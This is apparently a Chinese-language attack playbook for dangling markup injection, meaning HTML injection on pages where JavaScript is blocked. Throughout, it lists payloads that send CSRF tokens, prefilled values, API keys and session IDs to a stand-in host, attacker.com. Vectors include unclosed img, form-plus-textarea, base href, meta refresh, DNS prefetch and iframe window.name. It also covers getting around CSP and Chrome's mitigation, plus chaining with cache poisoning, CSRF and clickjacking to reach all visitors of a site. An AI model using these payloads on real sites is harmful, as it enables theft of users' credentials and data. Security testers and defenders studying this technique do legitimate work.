当 HTML 注入可行但 JavaScript 被…

在无法执行 JavaScript 的 HTML 注入点注入未闭合标签，让浏览器把后续页面内容当作 URL 参数发送到攻击者服务器，从而外带 CSRF token、表单预填值和敏感内容。

适用场景

解决思路

1. 确认满足全部条件：存在 HTML 注入点（反射或存储）、JavaScript 执行被阻止（CSP 禁止内联脚本和事件处理器、过滤器剥离 `<script>`/`onerror`/`onload`、WAF 拦截已知 XSS 模式）、且注入点之后页面含有敏感数据（CSRF token、预填表单值、隐藏字段中的会话标识、敏感用户内容）。
2. 核心做法：注入一个未闭合的 HTML 标签，其 `src`、`href`、`action` 等属性指向攻击者服务器，未闭合的引号会一直“吞掉”后续页面内容，直到浏览器遇到匹配的引号，从而把被吞内容作为 URL 查询串发送到攻击者服务器。
3. 使用 `<img src="https://attacker.com/collect?` 作为最常用的外带向量（双引号上下文用双引号，单引号上下文用单引号，IE 旧版可用反引号）；注意会被 CSP 的 `img-src` 指令阻止。
4. 使用表单 action 劫持：注入 `<form action="https://attacker.com/collect">`，页面后续的 `</form>` 会闭合攻击者的表单，中间所有输入字段都成为攻击者表单的一部分，在用户交互时提交到攻击者服务器；会被 CSP 的 `form-action` 阻止，但若页面已有提交按钮或 JS 自动提交则可自动提交。
5. 使用 `<base href="https://attacker.com/">` 劫持：页面后续所有相对 URL（脚本、链接、表单 action）都解析到攻击者服务器；会被 CSP 的 `base-uri` 阻止。
6. 使用 `<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?` 重定向整个页面并把被吞内容带入 URL；会被 `navigate-to` CSP 阻止（很少设置），部分浏览器在存在 CSP 时忽略 meta refresh。
7. 使用 `<link rel="stylesheet" href="https://attacker.com/collect?` 让浏览器以 CSS 资源请求该 URL 泄露内容；会被 CSP 的 `style-src` 阻止。
8. 使用 `<table background="https://attacker.com/collect?`（旧浏览器支持 table 的 background 属性）；会被 CSP 的 `img-src` 阻止。
9. 使用 `<video poster="https://attacker.com/collect?` 或 `<audio src="https://attacker.com/collect?`；会被 CSP 的 `media-src`/`img-src` 阻止。
10. 针对可窃取的数据选择对应技术：CSRF token（`<input type="hidden" name="csrf" value="...">`）在表单前放悬空 `<img src=`；预填邮箱在输入框前放悬空标签；内联脚本中的 API key 在脚本块前放悬空标签；隐藏字段中的会话 ID 在表单前放悬空标签；自动填充密码用 `<form action=attacker>` 并匹配输入框 name；OAuth state/token 在授权页放悬空标签；内部 URL/路径用 `<base>` 劫持捕获所有相对 URL。
11. 注意浏览器差异：Chrome/Chromium（含 Edge）自 Chrome 60 起阻止 `<img>` 的 `src` 中包含 `<` 或换行符的悬空标记，但仍允许 `<form action>`、`<base>`、`<link>`；Firefox 对图片源中的悬空标记更宽松，允许属性值含换行；Safari 类似 Chrome 的限制。
12. 绕过 Chrome 缓解：改用 `<form action>`（Chrome 的阻止只针对特定标签），或改用 `<base href>`，或在 Firefox 中测试作为后备。
13. 策略性选择引号类型：若页面属性用 `"`，则用 `'` 注入（反之亦然），以精确控制内容吞掉的终止位置，避免捕获无用内容或什么都捕获不到。
14. 使用 `<form action="https://attacker.com/collect"><textarea name="data">` 组合：未闭合的 textarea 会把后续所有 HTML 当作纯文本吞掉，表单提交时发送给攻击者；这是 img-src 受限时最可靠的向量。
15. 使用注释/样式悬空：`<!-- ` 不闭合会吞掉所有内容（无法外带但可隐藏页面内容）；未闭合的 `<style>` 把页面当作 CSS，配合 `@import url("https://attacker.com/?` 外带。
16. 使用 iframe 的 window.name：`<iframe src="https://target.com/page" name="`，name 属性吞掉内容，且 `window.name` 在跨源导航后仍保留，形成罕见的跨源数据通道。
17. 组合开放重定向：注入 `<img src="https://target.com/redirect?url=https://attacker.com/collect?`，利用目标站开放重定向使请求在某些 CSP 检查下被视为同源，再重定向把捕获数据发给攻击者。
18. 组合缓存投毒：找到反射型 HTML 注入点，注入悬空标记载荷，若响应被缓存则所有用户都会看到该载荷，从而外带所有受害者的 token/数据，把反射型注入变成持久化攻击。
19. 组合 CSRF：先用悬空标记窃取页面中的 CSRF token，再用窃取的 token 执行 CSRF 攻击，即使目标正确实现了 token 防护也可绕过。
20. 组合点击劫持：注入 `<form action="https://attacker.com/collect"><textarea name="data">`，在 `frame-ancestors` 允许时用 iframe 框住页面，通过点击劫持覆盖层诱骗用户点击“提交”，把捕获的页面内容提交给攻击者。
21. 按决策树选择向量：先判断注入上下文（属性值内先闭合 `"><img src="https://attacker.com/collect?`；标签内容内直接注入；脚本块内先 `</script><img src="...`）；再确认注入点之后是否有敏感数据；再根据 CSP 选择外带向量（无 CSP 用 img；img-src 受限依次尝试 form-action、base-uri、style-src；全部严格则尝试 meta refresh、DNS prefetch、iframe window.name）；再处理 Chrome 缓解；再选择引号类型最大化捕获；最后考虑缓存投毒、存储型注入、钓鱼链接等放大手段。
22. 使用 DNS prefetch 外带：`<link rel=dns-prefetch href="//stolen-data.attacker.com">` 触发 DNS 查询，CSP 无法阻止，每个标签约限 253 字符，足以外带 token。
23. 记住关键要点：CSP 阻止脚本但存在 HTML 注入时悬空标记就是答案，不要因 CSP 严格就判定“不可利用”；Chrome 的缓解是标签特定的而非通用的；引号类型选择至关重要；注入点必须位于目标数据之前；textarea 是最被低估的向量；window.name 跨源持久；DNS prefetch 在严格 CSP 下仍可用。

适用边界 · 注意事项

• 注入点位于目标敏感数据之后（HTML 源码顺序中），悬空标记只能捕获注入点之后的内容，无法窃取之前的数据。
• CSP 对 img-src、form-action、base-uri、style-src 等所有可用外带指令都严格限制，且 meta refresh、DNS prefetch、iframe window.name 等替代向量也不可用时，悬空标记无法外带数据。
• 目标数据与注入点不在同一个 HTTP 响应中（悬空标记只能捕获同源同响应内的内容），或捕获内容中的 URL 不安全字符被破坏导致数据不可用。